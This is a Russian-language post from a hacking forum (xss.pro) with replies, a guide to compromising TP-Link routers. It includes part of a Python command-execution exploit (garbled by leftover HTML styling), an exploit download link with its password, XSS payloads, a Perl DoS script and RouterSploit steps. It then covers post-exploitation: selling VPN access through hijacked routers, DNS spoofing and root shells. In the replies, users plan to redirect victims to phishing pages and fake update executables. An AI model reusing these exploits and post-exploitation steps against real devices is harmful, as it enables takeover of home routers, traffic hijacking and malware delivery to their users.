time.style='font-size:8.0pt;font-family:Consolas;color:black'>sleepclass=token>(class=token>0.8class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'> class=token># Buffer time for traceroute to succeedstyle='font-size:8.0pt;font-family:Consolas;color:black'>
data3 =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\r\ndiagnosticsState\r\nX_TP_HopSeq\r\nX_TP_Result\r\n'''style='font-size:8.0pt;font-family:Consolas;color:black'>
response3 =style='font-size:8.0pt;font-family:Consolas;color:black'> requestsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>postclass=token>(class=token>'http://192.168.0.1/cgi?1'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> cookiesclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> dataclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>data3class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> verifyclass=token>=class=token>Falseclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
 
class=token>ifstyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'=:'style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>instyle='font-size:8.0pt;font-family:Consolas;color:black'> response3class=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>textclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>splitlinesclass=token>()[class=token>3class=token>]:style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>printclass=token>(class=token>'[-] Command not supported.'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
elsestyle='font-size:8.0pt;font-family:Consolas;color:#999999'>:style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>printclass=token>(class=token>'[+] Exploit successful!'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>forstyle='font-size:8.0pt;font-family:Consolas;color:black'> line_numberclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> line class=token>instyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>enumerateclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>response3class=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>textclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>splitlinesclass=token>()):style='font-size:8.0pt;font-family:Consolas;color:black'>
        class=token>tryclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
            class=token>ifstyle='font-size:8.0pt;font-family:Consolas;color:black'> line_number class=token>==style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>3class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
                class=token>printclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>lineclass=token>[class=token>12class=token>:])style='font-size:8.0pt;font-family:Consolas;color:black'>
            class=token>ifstyle='font-size:8.0pt;font-family:Consolas;color:black'> line_number class=token>>style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>3style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>andstyle='font-size:8.0pt;font-family:Consolas;color:black'> line class=token>!=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'[error]0'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
                class=token>printclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>lineclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
                class=token>ifstyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'not known'style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>instyle='font-size:8.0pt;font-family:Consolas;color:black'> lineclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
                    class=token>breakstyle='font-size:8.0pt;font-family:Consolas;color:black'>
        class=token>exceptstyle='font-size:8.0pt;font-family:Consolas;color:black'> IndexErrorclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
            class=token>breakstyle='font-size:8.0pt;font-family:Consolas;color:black'>


TP-Link TL-WR740N v4 Router (FW-Ver. 3.16.6 Build 130529 Rel.47286n) - Command Execution

TP-Link TL-WR740N v4 - это беспроводной маршрутизатор, который обеспечивает базовые функции для создания беспроводной сети и обеспечения доступа к интернету. Он предназначен для использования в домашних условиях и небольших офисах, где требуется надежное беспроводное соединение.

Параметры доменного имени «Родительский контроль» и «Доступ Управление» TP-Link TL-WR740N v4 (FW-Ver. 3.16.6 Build 130529 Rel.47286n) маршрутизаторы склонны к выполнению произвольных команд оболочки как root для пользователей, прошедших проверку подлинности в веб-интерфейсе.
Каждая полезная нагрузка оболочки ограничена 28 байтами. «Родительский контроль» функция позволяет указать 8 доменов (= 8 команд), поэтому у вас есть 8 x 28 = 244 байта команд оболочки.
Этого достаточно для пост-загрузки и выполнить сценарий оболочки произвольной длины с tftp-сервера.
Используя этот метод, можно получить полный контроль над устройством, когда после загрузки более мощного бинарного MIPS-файла busybox и выполнения telnetd или используя netcat для обратного подключения.

Скачать exploit: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34254.7z(Password: TP-P0wned-Link) запускайте на виртуалке!

Options:
/a Use Access Control Exploit
/p Use Parental Control Exploit
[RouterIp] IP of the target to attack (default 192.168.0.1)
[Username] Username of the Webinterface Login (default admin)
[Password] Username of the Webinterface Login (default admin)
[TFTPServer] TFTP Host where the 'a' shell file is hosted for execution
Example: ParentalControlExploit.exe /a 192.168.0.1 admin admin 192.168.0.100

Список устройств уязвимых к Cross-Site Scripting
TP-Link wireless router Archer C1200 - Cross-Site Scripting

[+] Unauthenticated
[+] Author: Usman Saeed (usman [at] xc0re.net)
[+] Affected Version: Firmware version: 1.13 Build 2018/01/24 rel.52299 EU
[·] Impact: Client side attacks are very common and are the source of maximum number of user compromises. With this attack, the threat actor can steal cookies, redirect an innocent victim to a malicious website, thus compromising the user.
[·] Reason: The remote webserver does not filter special characters or illegal input.
[+] Attack type: Remote
[+] Patch Status: Unpatched

[+] Exploitation:
[!] The Cross-site scripting vector can be executed, as illustrated below

http://hostname/webpages/data/_._.<img src=a onerror=alert(“Reflected-XSS”)>../..%2f


TP-Link TL-WR740N - Cross-Site Scripting
  • Перейдите к IP-адресу вашего беспроводного маршрутизатора (например, 192.168.0.1).
  • Перейдите на вкладку «Беспроводная сеть» и «Беспроводная фильтрация MAC-адресов».
  • Нажмите кнопку «Добавить новую».
  • Запишите случайный MAC-адрес и в -Description- напишите (<h1>XSS </h1>)
  • Нажмите «Сохранить», и вы увидите XSS на вкладке «Беспроводная фильтрация MAC-адресов».

TP-Link TL-MR3220 - Cross-Site Scripting
  • Сначала в перейдите к ( http://IP:PORT/ )
  • На вкладке «Беспроводная фильтрация MAC-адресов».
  • Добавьте новый MAC-адрес.
  • В «Описание» поместите скрипт ( <script>alert('XSS')</script> ) и завершите регистрацию.
Список устройств уязвимых к DoS атаке
TP-Link Archer C50 3 - Denial of Service (PoC)

TP-Link TL-WR840N - Denial of Service

1- Сначала подключитесь к этой сети
2- Откройте терминал => И введите «macof -i eth0 -n 10
3- Нажмите Enter
4- Вы увидите, что ваше сетевое соединение будет потеряно.


TP-Link TL-WR740N Wireless Router - Denial of Service

Bash:
$ip="$ARGV[0]"; $port="$ARGV[1]";

print "\n\n\x20"."\x1f"x42 ."\n";

print "\x20\x1f"."\x20"x40 ."\x1f\n";

print "\x20\x1f TP-Link TL-WR740N httpd DoS Exploit \x1f\n";

print "\x20\x1f"."\x20"x40 ."\x1f\n";

print "\x20\x1f"."\x20"x7 ."\x16"x5 ."\x20"x15 ."\x16"x5 ."\x20"x8 ."\x1f\n";

print "\x20\x1f"."\x20"x9 ."\x16"."\x20"x19 ."\x16"."\x20"x10 ."\x1f\n";

print "\x20" ."\x1f"x42 ."\n";

print "\x20\x4" ."\x20"x40 ."\x4\n";

print "\x20" ."\x1e" x 42 ."\n";

if($#ARGV<1)

{

print "\n\n\x20\x20\x1a\x20Usage: $0 <ip> <port>\n\n";

exit();

}

$socket=IO::Socket::INET->new(

Proto => "tcp",

PeerAddr => $ip,

PeerPort => $port

);



$ta4ke="\x47\x45\x54\x20".

"\x2f\x2e\x2e\x2e".

"\x20\x48\x54\x54".

"\x50\x2f\x31\x2e".

"\x31\x0d\x0a\x0d".

"\x0a";



print "\n\x20\x1a\x20Sending evil payload...\n"; sleep 2;

print $socket "$ta4ke"; sleep 5; close $socket;

print "\x20\x1a\x20HTTPd successfully poked.\n"; sleep 2;

print "\x20\x1a\x20Verifying with Nmap...\n"; sleep 2;

system("nmap -Pn $ip -p $port");

print "\n\x20\x1a\x20Playing goa-psy...\n"; sleep 2;

system("start C:\\Progra~1\\Winamp\\winamp.exe http://scfire-ntc-aa01.stream.aol.com:80/stream/1008");

sleep 1; print "\x20\x1a\x20All Done!\n"; sleep 1;


RouterSploit:
Также хочу показать вам пример эксплуатации уязвимостей оборудования TP-Link с помощью инструмента RouterSploit.

Инструмент по дефолту установлен в Kali Linux, для использованиязапустите в консоли команду sudo routersploit

Выберем модель для проверки уязвимостей в роутер: use scanners/autopwn

Добавим цель для сканирования: set target <IP>

Запускаем модуль командой run
1691524212615.png

После проверки инструмент выдаст нам путь к эксплоитам с которыми мы можем работать, выбрав их командой use <путь к эксплоиту>

Постэксплуатация
Проникаем в удаленную локальную сеть
На многих моделях роутеров TP-Link, есть возможность поднимать VPN сервер (PPTP и OVPN). Вот список самых популярных моделей на которых можно поднять VPN:
  • TP-Link Archer C7
  • TP-Link Archer C9
  • TP-Link Archer C3150
  • TP-Link Archer C5400
  • TP-Link Archer C5400X
  • TP-Link Archer C2300
  • TP-Link Archer AX6000
  • TP-Link TL-R600VPN
Суть такая: подняв VPN сервер в основной подсети где находятся все устройства, подключившийся к этому VPN мы сможем работать с этой подсетью и устройствами.
Для проведения этого этапа pivoting-a (закрепления в сети) нам нужно выполнить определенные действия в веб панели администрирования роутера:
  • Зайдите в административную панель роутера, открыв веб-браузер и введите IP-адрес шлюза, который можно найти в разделе Advanced/LAN.
  • Перейдите в раздел настройки DHCP и ограничьте пул IP-адресов до нужного диапазона, например, 192.168.0.199
  • Зайдите в раздел настройки VPN сервера и создайте новое VPN-соединение в подсети, где находятся устройства, с которыми вы хотите работать. Укажите IP-адрес после ограниченного диапазона адресов, например, 192.168.0.220.
  • Сохраните настройки и запустите VPN-сервер. Подключитесь к VPN с использованием соответствующего клиента на вашем устройстве.
После удачного запуска VPN сервера с нашими настройками, нам нужно к нему подключиться, в случае с OpenVPN, мы должны выкачать конфиг файл и запустить его через OpenVPN клиент. Скачать - https://openvpn.net/community-downloads/

В случае с PPTP, мы подключаемся с системы VPN/добавить новое подключение, в настройках подключения указываем протокол PPTP, IP роутера и Логин/пасс который мы указали при настройке VPN сервера.
После подключения нам надо проверить какая подсеть в нашего VPN, открываем консоль и пишем ipconfig(Windows) или ifconfig (Linux).

Как мы видим – наш ip 10.10.15.245, это значит что подсеть 10.10.15.0/24
Просканируя подсеть мы увидим девайсы, теперь сеть в наших руках)

Проводим DNS Spoofing
DNS-спуфинг - это процесс изменения записей DNS (Domain Name System) с целью перенаправления пользователей на неверные или злоумышленные адреса.

Сперва нам нужен дедик, его мы делаем как днс сервер и настраиваем редиректы.
После успешного входа в веб-панель маршрутизатора, найдите раздел, связанный с настройками сети или интернет-подключением. Название раздела может различаться в зависимости от модели маршрутизатора.

В этом разделе вы должны найти опцию "DNS" или "Настройки DNS". Нажмите на нее.
Здесь вы можете выбрать режим настройки DNS: "Автоматический" (обычно использует DNS-сервер вашего интернет-провайдера) или "Вручную".
Если вы хотите настроить DNS-сервера вручную, введите адрес своего DNS-сервера.
После внесения изменений, сохраните настройки.
Перезагрузите маршрутизатор, чтобы изменения вступили в силу.
После перезагрузки проверьте работу новых DNS-серверов, перейдя на веб-сайт, чтобы убедиться, что они правильно настроены.

Поднимаем VPN для личного использования
Эти впнки мы можем юзать лично для себя, либо для продаж. Самым удобным видом VPN будет OpenVPN, у него кроссплатформенный клиент и удобная система конфиг-файлов.

Для поднятия OpenVPN сервера на устройстве:
1.Переходим в админ панель роутера
2.Переходим в раздел Advanced
3.Выбираем VPN\OpenVPN
4.Ставим галочку на Enable VPN Server и выбираем Service type TCP и Internet and Home Network
5.Сохраняем настройки и кликаем на generate certificate
6.Кнопкой export скачиваем готовый OpenVPN конфиг
1691523821175.png

Теперь этот конфиг файл мы сможем запускать с разных клиентов OpenVPN и работать с IP адреса роутера!

Для поднятия PPTP VPN сервера на устройстве:
1. Переходим в админ панель роутера
2. Переходим в раздел Advanced
3. Выбираем VPN\PPTP VPN
4. Ставим галочку на Enable VPN server
5. Выбираем количество клиентов (если VPN для личного использования, ставим 1-2)
6. Пишем логин/пароль для подключения к VPN
7.Нажимаем Save для сохранения настроек.

Теперь с помощью IP/Login/Pass мы сможем подключиться к этому VPN и заменить свой IP адрес на адрес роутера.
На винде с системы: VPN/добавить новое подключение, в настройках подключения указываем протокол PPTP, IP роутера и Логин/пасс который мы указали при настройке VPN сервера.

Получаем шелл
Тут я бы хотел рассказать об некоторых RCE которые можно использовать после удаленного подключения к роутеру.
Также познакомимся с оболочкой BusyBox: BusyBox - это небольшой исполняемый файл, который комбинирует множество часто используемых утилит и командных оболочек в один пакет. Он предназначен для использования в встраиваемых системах, таких как роутеры, чтобы предоставить базовые команды и утилиты в ограниченных ресурсах.
Роутеры TP-Link, как и многие другие встроенные устройства, часто используют BusyBox для предоставления командной строки и базовых утилит. Это позволяет администраторам настраивать и управлять роутерами через командную строку или SSH.
Подключившись к роутеру по SSH мы автоматически попадаем в эту оболочку.

Некоторые основные возможности и команды Busybox:
  • ls: Отображение содержимого каталога.
  • cd: Смена текущего рабочего каталога.
  • cp: Копирование файлов и каталогов.
  • mv: Перемещение или переименование файлов и каталогов.
  • rm: Удаление файлов и каталогов.
  • mkdir: Создание каталогов.
  • rmdir: Удаление пустых каталогов.
  • cat: Вывод содержимого файла на экран.
  • echo: Вывод текста на экран или в файл.
  • grep: Поиск текста в файлах.
  • sed: Потоковый редактор для обработки и фильтрации текста.
  • awk: Программирование для обработки и анализа текста.
  • ps: Отображение списка выполняющихся процессов.
  • top: Мониторинг загрузки системы и процессов.
  • ifconfig: Конфигурация сетевых интерфейсов.
  • ping: Отправка ICMP-пакетов для проверки доступности узлов в сети.
  • traceroute: Отслеживание маршрута до узла.
  • wget: Загрузка файлов из сети.
  • curl: Получение данных по URL с использованием различных протоколов.
  • ssh: Установка SSH-соединения с удаленным хостом.
  • telnet: Установка Telnet-соединения с удаленным хостом (если поддерживается).
  • route: Управление таблицей маршрутизации.
  • mount: Монтирование файловых систем.
  • umount: Размонтирование файловых систем.
  • df: Отображение информации о доступном месте на диске.
  • chmod: Изменение прав доступа к файлам и каталогам.
  • chown: Изменение владельца и группы файлов и каталогов.

Как мы знаем, ОС роутеров TP-Link и вообще других производителей сетевого оборудования основаны на ядре Unix/Linux. С помощью некоторых RCE эксполитов мы сможем производить свои команды в ядре роутера TP-Link.

TP-Link TL-WR902AC firmware 210730 (V3) - Remote Code Execution (RCE) (Authenticated)

С помощью перепрошивки роутера TP-Link TL-WR902AC, эксплоит устанавливает в кастомной прошивке бэкдор, который позволяет получить консольную оболочку с рут правами к ядру роутера.


TP-Link WDR4300 - Remote Code Execution (Authenticated)

Эксплоит нам предоставляет Bind shell оболочку к взломанному роутеру TP-Link.
После получения рутового шела к ядру, мы полностью захопили железку! Мы можем изучать ядро, писать мальвари под роутер (например ботнеты) или даже майнить.

Эксплуатируем уязвимости типа “Authenticated”
Использование этих эксплоитов возможно только имея доступ либо к админке оборудования либо к локальной сети в которой находится оборудование.
К примеру, большая часть RCE эксплоитов будет работать только если мы выдадим эксплоиту креды от админки.

TP-Link TL-WR740N - Authenticated Directory Transvers

Этот эксплоит позволяет просматривать файлы системы и ядра, а также вытягивать и анализировать их.

TP-Link TL-WR841N Router - Local File Inclusion

эксплоит для этой модели роутера работает аналогично.

Итоги
Мы начали статью с обзора устройств TP-Link и актуальности атак на них. Введение позволило нам понять, почему проведение тестирования на проникновение на таких устройствах является актуальной и важной задачей.

В разделе сбора информации мы рассмотрели методы определения наличия устройств TP-Link в сети, определения версии прошивки и анализа активных служб. Это помогло нам сформировать базу для последующих этапов анализа и атак.

Проанализировав слабые точки в безопасности, мы перешли к брутфорс атакам. Мы попытались проникнуть в систему, используя методы брутфорса для веб-панели, FTP и SSH. Это позволило нам определить, насколько эффективны и защищены данные точки входа.

Основываясь на списке уязвимостей, мы исследовали потенциальные атаки через эксплоиты, такие как RCE, обход аутентификации, инъекции команд, межсайтовая атака сценариев и атаки DoS. Эти атаки позволили нам демонстрировать, как устройства TP-Link могут быть подвержены различным типам угроз.

После успешных атак, мы перешли к этапу постэксплуатации. Здесь мы исследовали способы расширения нашего контроля над устройством, включая проникновение в локальную сеть, атаку DNS Spoofing, настройку VPN для личного использования и получение удаленного доступа (шелла) к устройству.

В заключение, данная статья позволила нам более глубоко понять потенциальные риски и уязвимости устройств TP-Link, а также проиллюстрировать, как различные методы атак могут быть использованы для получения несанкционированного доступа к системе.


BTC: bc1qmku9gh5qxy2j8dh9c657rvum80a4cagx803j54
ETH: 0x449A9Fc080e48315968Cd47DBdD619B3519B9151
USDT TRC20: TMeeM2prwn7pShvYNcwLCNKmNAM48BmqGc
USDT ERC20: 0x449A9Fc080e48315968Cd47DBdD619B3519B9151
BUSD BEP20: 0x449A9Fc080e48315968Cd47DBdD619B3519B9151

Автор: Gufi
Сделано специально для xss.pro!
 

Вложения

  • 1691509675144.png
    1691509675144.png
    13.9 КБ · Просмотры: 139
Последнее редактирование модератором:
DNS Spoofing
Подскажите пожалуйста, актуально ли энто действо сейчас? Гугл хром разве не поблокает все к хуям?
Если повесить фиш почтовика или страницу алярма, что нужно загрузить экзе апдейта, а то интернета не будет? ))
И если мы днс подменим, разве у юзера в принципе будет доступ в сторонний инет, ну кроме нашего айпишника из днса?

Никогда не пробовал ((
 
Отличная работа Gufii, но мне не совсем понятно, как вы настраиваете DNS Spoffing, как вы выполняете атаку?
Поднимаю DNS Server на дедике, с этим вам поможет эта статья - https://infrasos.com/install-and-configure-dns-server-on-windows-server/

После этого прописываю IP адрес дедика на котором запущен и настроен DNS сервер.
 
Подскажите пожалуйста, актуально ли энто действо сейчас? Гугл хром разве не поблокает все к хуям?
Если повесить фиш почтовика или страницу алярма, что нужно загрузить экзе апдейта, а то интернета не будет? ))
И если мы днс подменим, разве у юзера в принципе будет доступ в сторонний инет, ну кроме нашего айпишника из днса?

Никогда не пробовал ((

Все зависит от того как мы поднимем, хром не должен лочить.

Мы можем прописать несколько дополнительных адресов DNS сервера, но говорю сразу - между этими серверами могут быть конфликты.
Если DNS сервер будет тоьлко наш прописан - тогда пользователь сможет заходить только на те доменные адреса, которые прописаны на сервере.
 
TP-Link - шикарные роутеры, именно благодаря вот этому:
Роутеры TP-Link актуальны большими возможностями своей прошивки, изменение настроек сети, поднятие и конфигурация VPN сервера, перепрошивка устройства, настройка кастомного DNS сервера и многое другое!
на базе MR3020 / WR703N реализована куча хакерских устройств, и этот форм-фактор "маленькая коробочка" оказался настолько успешным, что на его базе крутые гонгконгцы GL.iNet сделали роутер "Mango" (MT-300N) с современным, более мощным железом, чем у 3020/703

а по теме - Gufi ты разбирал прошивку современных TP-Link? в старых роутерах был встроенный вебшелл по адресу /userRpmNatDebugRpm26525557/linux_cmdline.html
интересно, есть ли аналог в современных роутерах.
 
TP-Link - шикарные роутеры, именно благодаря вот этому:

на базе MR3020 / WR703N реализована куча хакерских устройств, и этот форм-фактор "маленькая коробочка" оказался настолько успешным, что на его базе крутые гонгконгцы GL.iNet сделали роутер "Mango" (MT-300N) с современным, более мощным железом, чем у 3020/703

а по теме - Gufi ты разбирал прошивку современных TP-Link? в старых роутерах был встроенный вебшелл по адресу /userRpmNatDebugRpm26525557/linux_cmdline.html
интересно, есть ли аналог в современных роутерах.
Некоторые уязвимости которые я разбирал являются последними в списке ExploitDB, большинство тактик атак работают на новых моделях и прошивках оборудования.

По поводу железа - да, есть много крутых проектов, например https://github.com/nicholasadamou/minipwner, сейчас я занимаюсь крутым аналогом этого проекта (он будет работать на базе железки Raspberry Pi, его преимущество в полной автоматизации пентеста всей локальной сети!)
 
Некоторые уязвимости которые я разбирал являются последними в списке ExploitDB, большинство тактик атак работают на новых моделях и прошивках оборудования.
мне интересно, есть ли "случайно забытый" вебшелл в стандартных заводских прошивках у новых роутеров.
 
Все зависит от того как мы поднимем, хром не должен лочить.
Вот смотри, я сделаю например страницу, что челику нужно скачать лоадер или все, пиздец ему без интернета... Подменяю днс чтобы у него воркала онли моя страница и он нихуя не сможет сделать, пока днс не вернут обратно? o_O
Если да, то почему так не фармят траф с роутеров
 
мне интересно, есть ли "случайно забытый" вебшелл в стандартных заводских прошивках у новых роутеров.
1691586078103.png


скорее всего пропатчили, так как из всех уязвимостей что я видел и изучал не было информации об вебшелле.
 
Вот смотри, я сделаю например страницу, что челику нужно скачать лоадер или все, пиздец ему без интернета... Подменяю днс чтобы у него воркала онли моя страница и он нихуя не сможет сделать, пока днс не вернут обратно? o_O
Если да, то почему так не фармят траф с роутеров
все правильно.


Некоторые люди так и делают массово с подменой трафа)
 
Вот смотри, я сделаю например страницу, что челику нужно скачать лоадер или все, пиздец ему без интернета... Подменяю днс чтобы у него воркала онли моя страница и он нихуя не сможет сделать, пока днс не вернут обратно? o_O
Если да, то почему так не фармят траф с роутеров
Фармят.
 
Фармить всмысле подсунуть вирус?
там можно на фиш хуярить и и на экзе как я понял тока пока хз как потестить в поле
если есть у кого-то желание потестить можно попробовать серваки есть и роутеры тож (фиш и экзе найдется)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
о боже… и их потом продают женщинам использовать?
угу
 
Посмотреть вложение 63050

скорее всего пропатчили, так как из всех уязвимостей что я видел и изучал не было информации об вебшелле.
странно, что не 404.
а на любую несуществующую страницу тоже 403 выдаёт, или 404?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх